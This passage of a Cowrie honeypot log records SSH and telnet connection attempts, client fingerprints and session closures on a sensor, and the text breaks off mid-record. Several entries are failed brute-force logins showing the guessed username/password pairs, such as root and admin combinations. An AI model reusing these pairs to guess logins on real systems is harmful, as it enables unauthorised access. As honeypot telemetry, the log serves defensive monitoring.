{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:03.663735Z","src_ip":"94.156.152.18","session":"d5e2ab661358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS4VCPU8GBAMD","message":"login attempt [root/QUEENVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:04.050431Z","src_ip":"94.156.152.18","session":"d5e2ab661358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38572,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebd436c382e0","protocol":"telnet","message":"New connection: 65.60.27.33:38572 (10.17.0.5:23) [session: ebd436c382e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:04.524440Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:05.181849Z","src_ip":"94.156.152.18","session":"d5e2ab661358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":50080,"dst_ip":"159.203.135.109","dst_port":22,"session":"735a1e3fb90d","protocol":"ssh","message":"New connection: 181.234.2.36:50080 (159.203.135.109:22) [session: 735a1e3fb90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:07.813519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:07.818006Z","src_ip":"181.234.2.36","session":"735a1e3fb90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:07.909695Z","src_ip":"181.234.2.36","session":"735a1e3fb90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qweasd","message":"login attempt [admin/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:08.304641Z","src_ip":"181.234.2.36","session":"735a1e3fb90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:09.398331Z","src_ip":"181.234.2.36","session":"735a1e3fb90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.32209801673889,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:09.858520Z","src_ip":"38.54.119.93","session":"acbe26de9d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":55680,"dst_ip":"10.17.0.5","dst_port":22,"session":"4075658f2fce","protocol":"ssh","message":"New connection: 172.185.24.228:55680 (10.17.0.5:22) [session: 4075658f2fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:10.987523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:11.004471Z","src_ip":"172.185.24.228","session":"4075658f2fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:11.089590Z","src_ip":"172.185.24.228","session":"4075658f2fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.70639204978943,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:11.267712Z","src_ip":"62.210.97.77","session":"263e1548a776","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"admin123","message":"login attempt [jboss/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:11.408999Z","src_ip":"172.185.24.228","session":"4075658f2fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.27853512763977,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:12.065721Z","src_ip":"165.232.131.181","session":"c3293b608ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:12.614098Z","src_ip":"172.185.24.228","session":"4075658f2fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47634,"dst_ip":"10.17.0.5","dst_port":23,"session":"266f956142e5","protocol":"telnet","message":"New connection: 65.60.27.33:47634 (10.17.0.5:23) [session: 266f956142e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:13.001197Z"}
{"eventid":"cowrie.session.closed","duration":36.050729274749756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:13.331321Z","src_ip":"62.210.97.77","session":"f92fca66f549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.413902759552,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:18.590257Z","src_ip":"62.210.97.77","session":"e2aef78f1d09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53716,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac71e2b042da","protocol":"telnet","message":"New connection: 65.60.27.33:53716 (10.17.0.5:23) [session: ac71e2b042da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:18.611811Z"}
{"eventid":"cowrie.session.closed","duration":43.614665269851685,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:19.348922Z","src_ip":"165.232.131.181","session":"dd1ba9246a63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00261878967285,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:20.918327Z","src_ip":"172.58.210.74","session":"f2651f529d8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.210.74","src_port":41838,"dst_ip":"10.17.0.5","dst_port":23,"session":"91bca72ab0d0","protocol":"telnet","message":"New connection: 172.58.210.74:41838 (10.17.0.5:23) [session: 91bca72ab0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:21.106020Z"}
{"eventid":"cowrie.session.closed","duration":120.0021550655365,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:21.988116Z","src_ip":"172.58.210.74","session":"1781e6ef5d49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"032cd5d93fb4","protocol":"telnet","message":"New connection: 62.210.97.77:40940 (10.17.0.5:23) [session: 032cd5d93fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:23.176975Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.58.210.74","src_port":31886,"dst_ip":"10.17.0.5","dst_port":23,"session":"996b441c2770","protocol":"telnet","message":"New connection: 172.58.210.74:31886 (10.17.0.5:23) [session: 996b441c2770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:23.185547Z"}
{"eventid":"cowrie.session.closed","duration":34.261348724365234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:24.500072Z","src_ip":"62.210.97.77","session":"1f70e3b60e6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.260883808135986,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:28.146378Z","src_ip":"62.210.97.77","session":"c8c90a559542","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.48345589637756,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:31.553902Z","src_ip":"38.54.119.93","session":"59cda07a68f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5d076061326","protocol":"telnet","message":"New connection: 165.232.131.181:59256 (10.17.0.5:23) [session: c5d076061326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:36.381414Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":44638,"dst_ip":"159.203.135.109","dst_port":22,"session":"876a55bcc6ac","protocol":"ssh","message":"New connection: 20.203.42.204:44638 (159.203.135.109:22) [session: 876a55bcc6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:40.570433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:40.574912Z","src_ip":"20.203.42.204","session":"876a55bcc6ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:40.741742Z","src_ip":"20.203.42.204","session":"876a55bcc6ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ooklaserver","password":"ooklaserver","message":"login attempt [ooklaserver/ooklaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:41.442673Z","src_ip":"20.203.42.204","session":"876a55bcc6ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.075029134750366,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:41.897515Z","src_ip":"38.54.119.93","session":"beaea413e9b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51214,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf51b1a8453","protocol":"telnet","message":"New connection: 65.60.27.33:51214 (10.17.0.5:23) [session: 3cf51b1a8453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:42.258225Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:42.615944Z","src_ip":"20.203.42.204","session":"876a55bcc6ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.44204807281494,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:45.966389Z","src_ip":"65.60.27.33","session":"ebd436c382e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.43957996368408,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:18:58.440700Z","src_ip":"65.60.27.33","session":"266f956142e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.96136951446533,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:02.573082Z","src_ip":"65.60.27.33","session":"ac71e2b042da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45468,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea04093581c8","protocol":"telnet","message":"New connection: 38.54.119.93:45468 (10.17.0.5:23) [session: ea04093581c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:02.610512Z"}
{"eventid":"cowrie.session.closed","duration":2.341681718826294,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:04.952092Z","src_ip":"38.54.119.93","session":"ea04093581c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":39408,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0a67ad3c5a4","protocol":"ssh","message":"New connection: 181.234.2.36:39408 (159.203.135.109:22) [session: d0a67ad3c5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:05.177081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:05.182012Z","src_ip":"181.234.2.36","session":"d0a67ad3c5a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:05.285918Z","src_ip":"181.234.2.36","session":"d0a67ad3c5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48370,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab9612e8265","protocol":"telnet","message":"New connection: 65.60.27.33:48370 (10.17.0.5:23) [session: 0ab9612e8265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:05.654674Z"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qweasdzxc","message":"login attempt [debian/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:05.693412Z","src_ip":"181.234.2.36","session":"d0a67ad3c5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42846,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ea4e3e9f8b","protocol":"telnet","message":"New connection: 165.232.131.181:42846 (10.17.0.5:23) [session: f6ea4e3e9f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:06.757220Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:06.787298Z","src_ip":"181.234.2.36","session":"d0a67ad3c5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35438,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f1ee94492b5","protocol":"telnet","message":"New connection: 62.210.97.77:35438 (10.17.0.5:23) [session: 4f1ee94492b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:08.084896Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44548,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3f936f24f7b","protocol":"telnet","message":"New connection: 165.232.131.181:44548 (10.17.0.5:23) [session: e3f936f24f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:08.513772Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":44924,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb3b19ba7a9","protocol":"telnet","message":"New connection: 165.232.131.181:44924 (10.17.0.5:23) [session: 5eb3b19ba7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:08.522789Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":46852,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b82d282dd4e","protocol":"ssh","message":"New connection: 172.185.24.228:46852 (10.17.0.5:22) [session: 1b82d282dd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:10.288541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:10.298261Z","src_ip":"172.185.24.228","session":"1b82d282dd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh